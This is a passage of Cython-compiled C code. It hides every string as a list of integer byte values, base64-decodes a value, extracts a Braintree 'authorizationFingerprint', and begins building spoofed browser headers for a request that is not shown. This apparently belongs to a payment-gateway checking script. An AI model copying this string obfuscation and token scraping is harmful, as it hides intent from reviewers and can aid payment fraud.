    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_97);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_15, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_enc, __pyx_t_1) < 0) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_base64); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_b64decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_enc); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __pyx_t_2 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) {
      __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9);
      if (likely(__pyx_t_2)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
        __Pyx_INCREF(__pyx_t_2);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_9, function);
      }
    }
    __pyx_t_5 = (__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_9, __pyx_t_2, __pyx_t_15) : __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_15);
    __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_56);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = NULL;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) {
      __pyx_t_15 = PyMethod_GET_SELF(__pyx_t_9);
      if (likely(__pyx_t_15)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
        __Pyx_INCREF(__pyx_t_15);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_9, function);
      }
    }
    __pyx_t_1 = (__pyx_t_15) ? __Pyx_PyObject_Call2Args(__pyx_t_9, __pyx_t_15, __pyx_t_5) : __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_5);
    __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_dec, __pyx_t_1) < 0) __PYX_ERR(0, 506, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_re); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_findall); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = PyList_New(34); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_122);
    __Pyx_GIVEREF(__pyx_int_122);
    PyList_SET_ITEM(__pyx_t_9, 8, __pyx_int_122);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 9, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 10, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 11, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 12, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 13, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_70);
    __Pyx_GIVEREF(__pyx_int_70);
    PyList_SET_ITEM(__pyx_t_9, 14, __pyx_int_70);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 15, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 16, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 17, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 18, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 19, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 20, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 21, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 22, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 23, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 24, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_9, 25, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_9, 26, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_9, 27, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_40);
    __Pyx_GIVEREF(__pyx_int_40);
    PyList_SET_ITEM(__pyx_t_9, 28, __pyx_int_40);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_9, 29, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_9, 30, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_63);
    __Pyx_GIVEREF(__pyx_int_63);
    PyList_SET_ITEM(__pyx_t_9, 31, __pyx_int_63);
    __Pyx_INCREF(__pyx_int_41);
    __Pyx_GIVEREF(__pyx_int_41);
    PyList_SET_ITEM(__pyx_t_9, 32, __pyx_int_41);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_9, 33, __pyx_int_34);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_dec); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __pyx_t_2 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_2)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_2);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_15};
      __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 507, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_15};
      __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 507, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    } else
    #endif
    {
      __pyx_t_10 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 507, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      if (__pyx_t_2) {
        __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_2); __pyx_t_2 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_9);
      PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_12, __pyx_t_9);
      __Pyx_GIVEREF(__pyx_t_15);
      PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_12, __pyx_t_15);
      __pyx_t_9 = 0;
      __pyx_t_15 = 0;
      __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 507, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    }
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_1, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_au, __pyx_t_5) < 0) __PYX_ERR(0, 507, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = __Pyx_Import(__pyx_n_s_requests, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 508, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_requests, __pyx_t_5) < 0) __PYX_ERR(0, 508, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = __Pyx_PyDict_NewPresized(18); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_1 = PyList_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_116);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_42);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_1, __pyx_t_10) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(15); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_101);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = PyList_New(14); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_71);
    __Pyx_GIVEREF(__pyx_int_71);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_71);
    __Pyx_INCREF(__pyx_int_66);
    __Pyx_GIVEREF(__pyx_int_66);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_66);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_1, 10, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_1, 11, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_1, 12, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_54);
    __Pyx_GIVEREF(__pyx_int_54);
    PyList_SET_ITEM(__pyx_t_1, 13, __pyx_int_54);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 511, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_10, __pyx_t_1) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = PyList_New(13); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 512, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_122);
    __Pyx_GIVEREF(__pyx_int_122);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_122);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 10, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 12, __pyx_int_110);
